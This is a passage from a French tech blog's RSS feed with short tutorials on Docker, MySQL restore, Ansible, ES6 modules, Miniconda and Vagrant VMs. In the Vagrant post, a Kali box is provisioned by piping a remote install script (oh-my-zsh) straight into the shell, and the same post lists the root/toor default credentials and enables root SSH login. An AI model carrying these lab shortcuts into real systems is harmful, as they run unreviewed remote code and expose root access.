</code></pre><p>Et voilà l&rsquo;installation d&rsquo;OpenCV 3 pour Python 2.7.x est terminée!
J&rsquo;espère que vous ne rencontrerez pas de problème et que je vous aurais fait gagner des heures !
Si vous suivez bien ce tutoriel et que vous êtes sur la même version d&rsquo;OS X, normalement tout se passera bien.</p>
]]></content>
        </item>
        
        <item>
            <title>Lancer un Datalab en quelques minutes</title>
            <link>https://leandeep.com/lancer-un-datalab-en-quelques-minutes/</link>
            <pubDate>Fri, 19 Jan 2018 23:39:00 +0000</pubDate>
            
            <guid>https://leandeep.com/lancer-un-datalab-en-quelques-minutes/</guid>
            <description>&lt;p&gt;Il m’arrive assez régulièrement de devoir switcher de machine de développement lorsque je travaille sur du Machine ou Deep Learning. C’est d’autant plus vrai lorsque je travaille avec Tensorflow avec support GPU et que je manipule des datasets de plusieurs Go. Pour accélérer la phase d’apprentissage de mes algorithmes, il m’arrive de louer, durant plusieurs heures, des VM survitaminées chez Amazon Web Services.&lt;/p&gt;
&lt;p&gt;Pour éviter de devoir reconfigurer à chaque fois mon environnement de datascience, j’utilise 2 images Docker.
Grâce à Docker et à l’image que j’ai à disposition, je peux lancer un nouvel environnement de datascience from Scratch en moins de 5 minutes. De plus, je peux faire une sauvegarde parfaite de toutes les configurations et librairies que j’utilise. It’s definitely worth it ! Avez-vous déjà perdu votre temps à installer xgboost ou Cuda sur OSX 😀 ?&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Il m’arrive assez régulièrement de devoir switcher de machine de développement lorsque je travaille sur du Machine ou Deep Learning. C’est d’autant plus vrai lorsque je travaille avec Tensorflow avec support GPU et que je manipule des datasets de plusieurs Go. Pour accélérer la phase d’apprentissage de mes algorithmes, il m’arrive de louer, durant plusieurs heures, des VM survitaminées chez Amazon Web Services.</p>
<p>Pour éviter de devoir reconfigurer à chaque fois mon environnement de datascience, j’utilise 2 images Docker.
Grâce à Docker et à l’image que j’ai à disposition, je peux lancer un nouvel environnement de datascience from Scratch en moins de 5 minutes. De plus, je peux faire une sauvegarde parfaite de toutes les configurations et librairies que j’utilise. It’s definitely worth it ! Avez-vous déjà perdu votre temps à installer xgboost ou Cuda sur OSX 😀 ?</p>
<p>Ma première image est la parfaite toolbox du data scientist.</p>
<p><img src="/images/docker-jupyter-spark.png" alt="image"></p>
<p>Elle contient les outils suivants:</p>
<ul>
<li>Spark</li>
<li>Python3</li>
<li>R</li>
<li>SQL</li>
<li>Jupyter</li>
</ul>
<p>De nombreuses librairies pour la datascience
Vous pouvez cloner mon repository, builder et démarrer l’image sur votre environnement:</p>
<p><a href="https://github.com/oeeckhoutte/fast-datalab">https://github.com/oeeckhoutte/fast-datalab</a></p>
<p>Je vous recommande d’exécuter la deuxième commande dans mon README. Elle vous permettra de monter un volume entre votre Host Docker et le container. Vos données seront ainsi préservées si le container venait à crasher. Si vous n’êtes pas dans une logique d’industrialisation de vos modèles, je vous recommande également de créer un cron et de sauvegarder automatiquement vos notebooks Jupyter sur Bitbucket (free private repositories).</p>
<p>Après avoir exécuté les 2 commandes pour builder votre image et lancer un container (moins de 5 minutes), votre environnement avec Jupyter Notebook et tous les outils actuels pour faire du Machine Learning seront prêts. Vous n’aurez plus qu’à ouvrir un nouvel onglet dans votre navigateur et vous rendre à l’adresse indiquée:</p>
<p><img src="/images/jupyter-launched.png" alt="image"></p>
<p>Pour faire du Deep Learning avec la version optimisée pour GPU de TensorFlow, j’ai rencontré pas mal de difficultés à tout installer et configurer. Même si mon poste de développement est puissant (Mac Pro avec i7, GPU NVIDIA élevé, 32 go RAM), je n’ai pas la patience d’attendre durant les phases d’apprentissage.</p>
<p>Pour avoir le maximum de puissance (plusieurs GPU en parallèle) et pour ne plus jamais avoir à installer et configurer CUDA, j’exécute directement mes algorithmes dans des containers Docker sur la plateforme AWS. Je loue une machine survitaminée (une machine que je n’aurais jamais chez moi) le temps de l’apprentissage et je l’arrête quand c’est terminé. Cela ne me coûte presque rien. Merci AWS !</p>
<p>Je parlerai de ce sujet plus en détails dans un prochain article.</p>
]]></content>
        </item>
        
        <item>
            <title>Restaurer une base de données Mysql et voir la progression</title>
            <link>https://leandeep.com/restaurer-une-base-de-donn%C3%A9es-mysql-et-voir-la-progression/</link>
            <pubDate>Wed, 10 Jan 2018 19:59:00 +0200</pubDate>
            
            <guid>https://leandeep.com/restaurer-une-base-de-donn%C3%A9es-mysql-et-voir-la-progression/</guid>
            <description>&lt;p&gt;En pré-requis il vous faut 2 binaires: &lt;code&gt;pv&lt;/code&gt; et &lt;code&gt;mysql-client&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Pour les installer, il suffit d&amp;rsquo;exécuter les commandes suivantes:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install pv mysql-client
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Ensuite, pour restaurer le dump d&amp;rsquo;une base de données et voir la progression, vous pouvez exécuter la commande suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pv dump.sql | mysql -u DB_USER -h DB_HOST -D DB_NAME -p
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Rappel: commande pour dumper une base MySQL: &lt;code&gt;mysqldump -u DB_USER -h DB_HOST -D DB_NAME -p &amp;gt; dump.sql&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>En pré-requis il vous faut 2 binaires: <code>pv</code> et <code>mysql-client</code></p>
<p>Pour les installer, il suffit d&rsquo;exécuter les commandes suivantes:</p>
<pre tabindex="0"><code>brew install pv mysql-client
</code></pre><br/>
<p>Ensuite, pour restaurer le dump d&rsquo;une base de données et voir la progression, vous pouvez exécuter la commande suivante:</p>
<pre tabindex="0"><code>pv dump.sql | mysql -u DB_USER -h DB_HOST -D DB_NAME -p
</code></pre><blockquote>
<p>Rappel: commande pour dumper une base MySQL: <code>mysqldump -u DB_USER -h DB_HOST -D DB_NAME -p &gt; dump.sql</code></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Algorithmes de Marchine Learning organisés par famille</title>
            <link>https://leandeep.com/algorithmes-de-marchine-learning-organis%C3%A9s-par-famille/</link>
            <pubDate>Sat, 06 Jan 2018 19:22:00 +0000</pubDate>
            
            <guid>https://leandeep.com/algorithmes-de-marchine-learning-organis%C3%A9s-par-famille/</guid>
            <description>&lt;p&gt;&lt;em&gt;Mindmap source &lt;a href=&#34;https://machinelearningmastery.com&#34;&gt;machinelearningmastery&lt;/a&gt;; site internet que je recommande vraiment. Tout n&amp;rsquo;est pas présent mais il y a quoi faire pour s&amp;rsquo;amuser.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/MachineLearningAlgorithms.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><em>Mindmap source <a href="https://machinelearningmastery.com">machinelearningmastery</a>; site internet que je recommande vraiment. Tout n&rsquo;est pas présent mais il y a quoi faire pour s&rsquo;amuser.</em></p>
<p><img src="/images/MachineLearningAlgorithms.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Créer une VM de dev sec avec Vagrant</title>
            <link>https://leandeep.com/cr%C3%A9er-une-vm-de-dev-sec-avec-vagrant/</link>
            <pubDate>Fri, 01 Dec 2017 13:49:00 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-une-vm-de-dev-sec-avec-vagrant/</guid>
            <description>&lt;p&gt;Si vous faites du développement Ansible et que vous avez besoin de tester rapidement votre playbook sur une VM &amp;ldquo;jetable&amp;rdquo; vous pouvez utiliser Vagrant.&lt;/p&gt;
&lt;p&gt;Pour ce faire, rien de plus simple. Il vous suffit de créer un ficher &lt;code&gt;Vagrantfile&lt;/code&gt; dans le répertoire de votre projet. Cela permettra de le backuper au passage et d&amp;rsquo;exécuter la commande &lt;code&gt;vagrant up&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sur votre machine il faudra que Virtualbox soit installé en amont.&lt;/p&gt;
&lt;p&gt;Voici à quoi ressmeble mon Vagrantfile:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Si vous faites du développement Ansible et que vous avez besoin de tester rapidement votre playbook sur une VM &ldquo;jetable&rdquo; vous pouvez utiliser Vagrant.</p>
<p>Pour ce faire, rien de plus simple. Il vous suffit de créer un ficher <code>Vagrantfile</code> dans le répertoire de votre projet. Cela permettra de le backuper au passage et d&rsquo;exécuter la commande <code>vagrant up</code>.</p>
<p>Sur votre machine il faudra que Virtualbox soit installé en amont.</p>
<p>Voici à quoi ressmeble mon Vagrantfile:</p>
<pre tabindex="0"><code># -*- mode: ruby -*-
# vi: set ft=ruby :

# All Vagrant configuration is done below. The &#34;2&#34; in Vagrant.configure
# configures the configuration version (we support older styles for
# backwards compatibility). Please don&#39;t change it unless you know what
# you&#39;re doing.
Vagrant.configure(&#34;2&#34;) do |config|
  # The most common configuration options are documented and commented below.
  # For a complete reference, please see the online documentation at
  # https://docs.vagrantup.com.

  # Every Vagrant development environment requires a box. You can search for
  # boxes at https://vagrantcloud.com/search.
  #config.vm.box = &#34;centos/atomic-host&#34;
  config.vm.box = &#34;centos/7&#34;

  # Disable automatic box update checking. If you disable this, then
  # boxes will only be checked for updates when the user runs
  # `vagrant box outdated`. This is not recommended.
  # config.vm.box_check_update = false

  # Create a forwarded port mapping which allows access to a specific port
  # within the machine from a port on the host machine. In the example below,
  # accessing &#34;localhost:8080&#34; will access port 80 on the guest machine.
  # NOTE: This will enable public access to the opened port
  # config.vm.network &#34;forwarded_port&#34;, guest: 80, host: 8080

  # Create a forwarded port mapping which allows access to a specific port
  # within the machine from a port on the host machine and only allow access
  # via 127.0.0.1 to disable public access
  # config.vm.network &#34;forwarded_port&#34;, guest: 80, host: 8080, host_ip: &#34;127.0.0.1&#34;

  # Create a private network, which allows host-only access to the machine
  # using a specific IP.
  config.vm.network &#34;private_network&#34;, ip: &#34;192.168.33.10&#34;

  # Create a public network, which generally matched to bridged network.
  # Bridged networks make the machine appear as another physical device on
  # your network.
  # config.vm.network &#34;public_network&#34;

  # Share an additional folder to the guest VM. The first argument is
  # the path on the host to the actual folder. The second argument is
  # the path on the guest to mount the folder. And the optional third
  # argument is a set of non-required options.
  # config.vm.synced_folder &#34;../data&#34;, &#34;/vagrant_data&#34;

  # Provider-specific configuration so you can fine-tune various
  # backing providers for Vagrant. These expose provider-specific options.
  # Example for VirtualBox:
  #
  # config.vm.provider &#34;virtualbox&#34; do |vb|
  #   # Display the VirtualBox GUI when booting the machine
  #   vb.gui = true
  #
  #   # Customize the amount of memory on the VM:
  #   vb.memory = &#34;1024&#34;
  # end
  #
  # View the documentation for the provider you are using for more
  # information on available options.

  # Enable provisioning with a shell script. Additional provisioners such as
  # Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the
  # documentation for more information about their specific syntax and use.
  # config.vm.provision &#34;shell&#34;, inline: &lt;&lt;-SHELL
  #   apt-get update
  #   apt-get install -y apache2
  # SHELL
end
</code></pre><p>Une fois la VM provisionnée, il suffit de faire un <code>vagrant ssh</code> pour s&rsquo;y connecter.</p>
<p>Copiez la clé publique de votre MAC sur votre VM pour pourrez faire un SSH (utilisateur vagrant par défaut) dessus et exécuter vos playbooks via Ansible.</p>
<blockquote>
<p>Pour vous connecter en tant que <code>root</code>, il faudra modifier le fichier de configuration <code>/etc/ssh/sshd_config</code> et fixer le paramètre <code>PermitRootLogin</code> à <code>yes</code>.</p></blockquote>
<p>Pour stopper et effacer une VM vous pouvez utiliser la commande suivante <code>vagrant halt &amp;&amp; vagrant destroy -f</code>.</p>
<br/>
<p>Voici un autre Vagrantfile pour la distro Kali pour tester la sécurité de vos applications&hellip;</p>
<pre tabindex="0"><code># -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure(&#34;2&#34;) do |config|
  config.vm.box = &#34;kalilinux/rolling&#34;

  # Create a forwarded port
  config.vm.network &#34;forwarded_port&#34;, guest: 80, host: 8080

  # Create a private network. In VirtualBox, this is a Host-Only network
  config.vm.network &#34;private_network&#34;, ip: &#34;192.168.33.10&#34;

  # VirtualBox specific settings
  config.vm.provider &#34;virtualbox&#34; do |vb|
    # Hide the VirtualBox GUI when booting the machine
    vb.gui = false

    # Customize the amount of memory on the VM:
    vb.memory = &#34;4096&#34;
  end

  # Provision the machine with a shell script
  config.vm.provision &#34;shell&#34;, inline: &lt;&lt;-SHELL
    apt-get update
    apt-get install -y crowbar zsh wget curl
    sh -c &#34;$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&#34;
  SHELL
end
</code></pre><blockquote>
<p><code>vagrant reload</code> permet de prendre en compte le changement de configuration du Vagrantfile sans devoir détruire et recréer le VM.</p></blockquote>
<blockquote>
<p>Les options suivantes peuvent également servir:</p>
<pre tabindex="0"><code>vagrant provision  # provision the powered on VM
vagrant up --provision  # when VM is powered off, power it on then provision
vagrant reload --provision  # reboot the VM then provision
</code></pre></blockquote>
<blockquote>
<p>Pour utiliser <code>ansible-console</code> sur cette nouvelle VM et spécifier un utilisateur on peut utiliser la commande suivante <code> ansible-console -i ./ansible/inventory/local --become -u root</code></p></blockquote>
<blockquote>
<p>Default credentials: root/toor</p></blockquote>
<blockquote>
<p>Allow SSH to Remote Kali: <br/>
On local PC: <code>ssh-keygen -R ip_remote_kali</code> <br/>
Editer <code>/etc/ssh/sshd_config</code>, ajouter la ligne suivante <code>PermitRootLogin yes</code> et restart SSH <code>/etc/init.d/ssh restart</code></p></blockquote>
<blockquote>
<p>Ouvrir File Manager en mode admin: <code>sudo thunar</code></p></blockquote>
<blockquote>
<p>Pour installer vagrant sur OSX: <code>brew cask install vagrant</code></p></blockquote>
<blockquote>
<p>Box Ubuntu utiliser &ldquo;ubuntu/bionic64&rdquo;</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Smart Gate ou comment ouvrir un portail électrique par reconnaissance faciale</title>
            <link>https://leandeep.com/smart-gate-ou-comment-ouvrir-un-portail-%C3%A9lectrique-par-reconnaissance-faciale/</link>
            <pubDate>Sat, 21 Oct 2017 19:55:00 +0000</pubDate>
            
            <guid>https://leandeep.com/smart-gate-ou-comment-ouvrir-un-portail-%C3%A9lectrique-par-reconnaissance-faciale/</guid>
            <description>&lt;p&gt;
    &lt;iframe 
        width=&#34;100%&#34; 
        height=&#34;400&#34; 
        src=&#34;//www.youtube.com/embed/qPFkhyp6WOI?rel=0&#34; 
        frameborder=&#34;0&#34; 
        allow=&#34;autoplay; encrypted-media&#34; 
        allowfullscreen&gt;
    &lt;/iframe&gt;




&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>
    <iframe 
        width="100%" 
        height="400" 
        src="//www.youtube.com/embed/qPFkhyp6WOI?rel=0" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>




<!-- raw HTML omitted --></p>
<p>Solution maison réalisée uniquement à partir de frameworks opensource. Il n&rsquo;y a pas de dépendance avec des solutions SAAS telles que Watson ou d&rsquo;autres services cognitifs chez Azure ou AWS. Cette solution peut être déployée n&rsquo;importe où et utiliser n&rsquo;importe quelle caméra.</p>
<p>De plus, une application mobile cross-platform (iOS et Android) permet de gérer les personnes autorisées à entrer. Elle permet également d&rsquo;afficher les personnes inconnues et d&rsquo;envoyer des alertes (via push ou SMS) au propriétaire du portail. Ce dernier peut alors voir en temps réel ce qu&rsquo;il se passe devant chez lui. Les serveurs sont à Frankfort (AWS). La latence est seulement de 3 ou 4 secondes malgré la distance des serveurs avec mon portail, la quantité d&rsquo;images à ingérer (flux vidéo en HD) et les traitements à effectuer pour reconnaître les visages.</p>]]></content>
        </item>
        
        <item>
            <title>Gérer proprement ses variables d&#39;environnement de type boolean sur Ansible</title>
            <link>https://leandeep.com/g%C3%A9rer-proprement-ses-variables-denvironnement-de-type-boolean-sur-ansible/</link>
            <pubDate>Sun, 17 Sep 2017 18:20:00 +0000</pubDate>
            
            <guid>https://leandeep.com/g%C3%A9rer-proprement-ses-variables-denvironnement-de-type-boolean-sur-ansible/</guid>
            <description>&lt;p&gt;Cet article très rapide explique comment &lt;em&gt;caster&lt;/em&gt; proprement des variables d&amp;rsquo;environnement de type bool passées à un Playbook.&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;utilisateur entre &lt;code&gt;yes&lt;/code&gt;, &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;True&lt;/code&gt; cela sera considéré de la même manière si vous utilisez cette commande:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;{{ votre_var | d() | bool }}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Le d() (pour default) est utile pour ne pas avoir une erreur disant que &lt;code&gt;votre_var&lt;/code&gt; n&amp;rsquo;est pas définie.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;from jinja2 import Template
from ansible.runner.filter_plugins.core import bool
Template(&amp;#39;&amp;#39;).environment.filters[&amp;#39;bool&amp;#39;] = bool
tmpl = Template(&amp;#39;{{ var | d() | bool }}&amp;#39;)
&amp;gt;&amp;gt;&amp;gt; print tmpl.render()
False
&amp;gt;&amp;gt;&amp;gt; print tmpl.render(var=None)
None
&amp;gt;&amp;gt;&amp;gt; print tmpl.render(var=&amp;#39;&amp;#39;)
False
&amp;gt;&amp;gt;&amp;gt; print tmpl.render(var=&amp;#39;toto&amp;#39;)
False
&amp;gt;&amp;gt;&amp;gt; print tmpl.render(var=&amp;#39; &amp;#39;)
False
&amp;gt;&amp;gt;&amp;gt; print tmpl.render(var=&amp;#39;True&amp;#39;)
True
&amp;gt;&amp;gt;&amp;gt; print tmpl.render(var=[])
False
&amp;gt;&amp;gt;&amp;gt; print tmpl.render(var=[&amp;#39;list&amp;#39;])
False
&amp;gt;&amp;gt;&amp;gt; print tmpl.render(var={})
False
&amp;gt;&amp;gt;&amp;gt; print tmpl.render(var={&amp;#39;key&amp;#39;: &amp;#39;value&amp;#39;})
False
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Cet article très rapide explique comment <em>caster</em> proprement des variables d&rsquo;environnement de type bool passées à un Playbook.</p>
<p>Si l&rsquo;utilisateur entre <code>yes</code>, <code>1</code>, <code>True</code> cela sera considéré de la même manière si vous utilisez cette commande:</p>
<pre tabindex="0"><code>{{ votre_var | d() | bool }}
</code></pre><p>Le d() (pour default) est utile pour ne pas avoir une erreur disant que <code>votre_var</code> n&rsquo;est pas définie.</p>
<pre tabindex="0"><code>from jinja2 import Template
from ansible.runner.filter_plugins.core import bool
Template(&#39;&#39;).environment.filters[&#39;bool&#39;] = bool
tmpl = Template(&#39;{{ var | d() | bool }}&#39;)
&gt;&gt;&gt; print tmpl.render()
False
&gt;&gt;&gt; print tmpl.render(var=None)
None
&gt;&gt;&gt; print tmpl.render(var=&#39;&#39;)
False
&gt;&gt;&gt; print tmpl.render(var=&#39;toto&#39;)
False
&gt;&gt;&gt; print tmpl.render(var=&#39; &#39;)
False
&gt;&gt;&gt; print tmpl.render(var=&#39;True&#39;)
True
&gt;&gt;&gt; print tmpl.render(var=[])
False
&gt;&gt;&gt; print tmpl.render(var=[&#39;list&#39;])
False
&gt;&gt;&gt; print tmpl.render(var={})
False
&gt;&gt;&gt; print tmpl.render(var={&#39;key&#39;: &#39;value&#39;})
False
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Support des modules ES6 dans Chrome 61</title>
            <link>https://leandeep.com/support-des-modules-es6-dans-chrome-61/</link>
            <pubDate>Wed, 06 Sep 2017 13:03:00 +0000</pubDate>
            
            <guid>https://leandeep.com/support-des-modules-es6-dans-chrome-61/</guid>
            <description>&lt;p&gt;Excellente news, Chrome supporte maintenant nativement les modules ES6. Enfin!&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Exemple:&lt;/p&gt;
&lt;h2 id=&#34;indexhtml&#34;&gt;index.html&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;#34;en&amp;#34;&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset=&amp;#34;UTF-8&amp;#34;&amp;gt;
  &amp;lt;meta name=&amp;#34;viewport&amp;#34; content=&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&amp;gt;
  &amp;lt;meta http-equiv=&amp;#34;X-UA-Compatible&amp;#34; content=&amp;#34;ie=edge&amp;#34;&amp;gt;
  &amp;lt;title&amp;gt;Test module ES6&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;p&amp;gt;2+3 = &amp;lt;span class=&amp;#34;result&amp;#34;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;

  &amp;lt;script type=&amp;#34;module&amp;#34;&amp;gt;
    import { add } from &amp;#39;./common.js&amp;#39;; 
    (function () { 
      document.querySelector(&amp;#39;.result&amp;#39;).innerText = add(2, 3); 
      console.log(add(2, 3));
    }());
  &amp;lt;/script&amp;gt;
  
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;commonjs&#34;&gt;common.js&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;console.log(&amp;#39;common.js&amp;#39;);
export function add (a, b) {
    return a + b;
}
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Excellente news, Chrome supporte maintenant nativement les modules ES6. Enfin!</p>
<br/>
<p>Exemple:</p>
<h2 id="indexhtml">index.html</h2>
<pre tabindex="0"><code>&lt;!DOCTYPE html&gt;
&lt;html lang=&#34;en&#34;&gt;
&lt;head&gt;
  &lt;meta charset=&#34;UTF-8&#34;&gt;
  &lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&gt;
  &lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge&#34;&gt;
  &lt;title&gt;Test module ES6&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;p&gt;2+3 = &lt;span class=&#34;result&#34;&gt;&lt;/span&gt;&lt;/p&gt;

  &lt;script type=&#34;module&#34;&gt;
    import { add } from &#39;./common.js&#39;; 
    (function () { 
      document.querySelector(&#39;.result&#39;).innerText = add(2, 3); 
      console.log(add(2, 3));
    }());
  &lt;/script&gt;
  
&lt;/body&gt;
&lt;/html&gt;
</code></pre><br/>
<h2 id="commonjs">common.js</h2>
<pre tabindex="0"><code>console.log(&#39;common.js&#39;);
export function add (a, b) {
    return a + b;
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Fonctionnement interne de Kubernetes</title>
            <link>https://leandeep.com/fonctionnement-interne-de-kubernetes/</link>
            <pubDate>Sun, 16 Jul 2017 21:02:00 +0000</pubDate>
            
            <guid>https://leandeep.com/fonctionnement-interne-de-kubernetes/</guid>
            <description>&lt;p&gt;Aujourd&amp;rsquo;hui, j&amp;rsquo;ai présenté Kubernetes à mes collègues et ai eu besoin de dessiner son architecture macro interne.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Voici le Sketch réalisé en live durant la présentation:&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/kubernetes-architecture-sketch.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Aujourd&rsquo;hui, j&rsquo;ai présenté Kubernetes à mes collègues et ai eu besoin de dessiner son architecture macro interne.</p>
<br/>
<p>Voici le Sketch réalisé en live durant la présentation:</p>
<br/>
<p><img src="/images/kubernetes-architecture-sketch.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Ma présentation du Deep Learning</title>
            <link>https://leandeep.com/ma-pr%C3%A9sentation-du-deep-learning/</link>
            <pubDate>Thu, 22 Jun 2017 21:51:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ma-pr%C3%A9sentation-du-deep-learning/</guid>
            <description>&lt;p&gt;Ces dernières semaines j’ai été invité à parler de Deep Learning dans plusieurs entreprises des Hauts de France.&lt;/p&gt;
&lt;p&gt;Ma présentation est publiques et accessible ci-dessous:&lt;/p&gt;

    &lt;iframe
        src=&#34;//www.slideshare.net/slideshow/embed_code/key/k2FBLJDR6XX6EX&#34;
        title=&#34;SlideShare Presentation&#34;
        height=&#34;485&#34;
        width=&#34;595&#34;
        frameborder=&#34;0&#34;
        marginwidth=&#34;0&#34;
        marginheight=&#34;0&#34;
        scrolling=&#34;no&#34;
        style=&#34;border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;&#34;
        allowfullscreen=&#34;true&#34;&gt;
    &lt;/iframe&gt;





&lt;p&gt;Vous trouverez ci-dessous les 2 des 3 vidéos que j&amp;rsquo;ai présenté durant la phase de démo de ma présentation.
Les 2 apps font appel à des modèles Tensorflow.
La première app est construite en Ionic. La seconde en React.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Ces dernières semaines j’ai été invité à parler de Deep Learning dans plusieurs entreprises des Hauts de France.</p>
<p>Ma présentation est publiques et accessible ci-dessous:</p>

    <iframe
        src="//www.slideshare.net/slideshow/embed_code/key/k2FBLJDR6XX6EX"
        title="SlideShare Presentation"
        height="485"
        width="595"
        frameborder="0"
        marginwidth="0"
        marginheight="0"
        scrolling="no"
        style="border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;"
        allowfullscreen="true">
    </iframe>





<p>Vous trouverez ci-dessous les 2 des 3 vidéos que j&rsquo;ai présenté durant la phase de démo de ma présentation.
Les 2 apps font appel à des modèles Tensorflow.
La première app est construite en Ionic. La seconde en React.</p>

    <iframe 
        width="100%" 
        height="400" 
        src="//www.youtube.com/embed/8IEiUx4x-SU?rel=0" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>





    <iframe 
        width="100%" 
        height="400" 
        src="//www.youtube.com/embed/fIZ4HMX5xbE?rel=0" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>




<p>Si vous souhaitez que je fasse une intervention dans votre entreprise, n’hésitez pas à me contacter via Linkedin. Voici le lien pour accéder à mon profil: <a href="https://www.linkedin.com/in/oliviereeckhoutte/">https://www.linkedin.com/in/oliviereeckhoutte/</a></p>]]></content>
        </item>
        
        <item>
            <title>Installer (Mini)Conda sur OSX</title>
            <link>https://leandeep.com/installer-miniconda-sur-osx/</link>
            <pubDate>Sun, 04 Jun 2017 20:57:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-miniconda-sur-osx/</guid>
            <description>&lt;h2 id=&#34;quest-ce-que-conda-&#34;&gt;Qu&amp;rsquo;est-ce que Conda ?&lt;/h2&gt;
&lt;p&gt;Conda est un outil permettant de gérer les packages scientifiques utiles notamment pour faire du Machine Learning. Il gère aussi les dépendances de ces packages; même celles en dehors de Python (Librairies C, Paquets R&amp;hellip;). Il permet également de gérer des environnements virtuels comme virtualenv. C&amp;rsquo;est un outil très répandu que vous retrouverez dans beaucoup de cours ou tutoriels. Il est donc intéressant de l&amp;rsquo;installer sur votre poste.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="quest-ce-que-conda-">Qu&rsquo;est-ce que Conda ?</h2>
<p>Conda est un outil permettant de gérer les packages scientifiques utiles notamment pour faire du Machine Learning. Il gère aussi les dépendances de ces packages; même celles en dehors de Python (Librairies C, Paquets R&hellip;). Il permet également de gérer des environnements virtuels comme virtualenv. C&rsquo;est un outil très répandu que vous retrouverez dans beaucoup de cours ou tutoriels. Il est donc intéressant de l&rsquo;installer sur votre poste.</p>
<br/>
<h2 id="quest-ce-quanaconda-">Qu&rsquo;est-ce qu&rsquo;Anaconda ?</h2>
<p>Conda est le gestionnaire de paquets d&rsquo;Anaconda. Anaconda est une distribution gratuite de Python délivré par la société Continuum Analytics qui contient plus d&rsquo;un milliers de paquets permettant de faire des sciences, des mathématiques, de l&rsquo;ingénierie et de l&rsquo;analyse de données. C&rsquo;est une sorte de gros package incluant tous les outils nécessaires pour faire du Machine Learning.</p>
<br/>
<h2 id="quest-ce-que-miniconda-">Qu&rsquo;est-ce que Miniconda ?</h2>
<p>C&rsquo;est une alternative à Anaconda. C&rsquo;est beaucoup plus léger car il ne contient que Conda et quelques dépendances nécessaires à son fonctionnement.</p>
<br/>
<h2 id="installer-miniconda-sur-osx">Installer Miniconda sur OSX</h2>
<p>Il faut commencer par télécharger un script bash disponible à l&rsquo;<a href="https://conda.io/miniconda.html">adresse suivante</a>.</p>
<pre tabindex="0"><code>wget https://repo.continuum.io/miniconda/Miniconda3-latest-MacOSX-x86_64.sh
</code></pre><br/>
<p>Une fois téléchargé, il faut exécuter le script dans le terminal et suivre les instructions affichées à l&rsquo;écran:</p>
<pre tabindex="0"><code>bash Miniconda3-latest-MacOSX-x86_64.sh
</code></pre><br/>
<p>Si comme moi vous utilisez ohmyzsh à la place bash, ajoutez la ligne suivante dans le fichier ~/.zshrc (prenez soin de changer l&rsquo;utilisateur &ldquo;olivier&rdquo; par le votre):</p>
<pre tabindex="0"><code># added by Miniconda3 installer
export PATH=&#34;/Users/olivier/miniconda3/bin:$PATH&#34;
</code></pre><br/>
<p>Rechargez votre terminal pour prendre en compte la modification.</p>
<pre tabindex="0"><code>source ~/.zshrc
</code></pre><br/>
<p>Vérifiez enfin que l&rsquo;installation s&rsquo;est bien déroulée:</p>
<pre tabindex="0"><code>conda -V
</code></pre><br/>
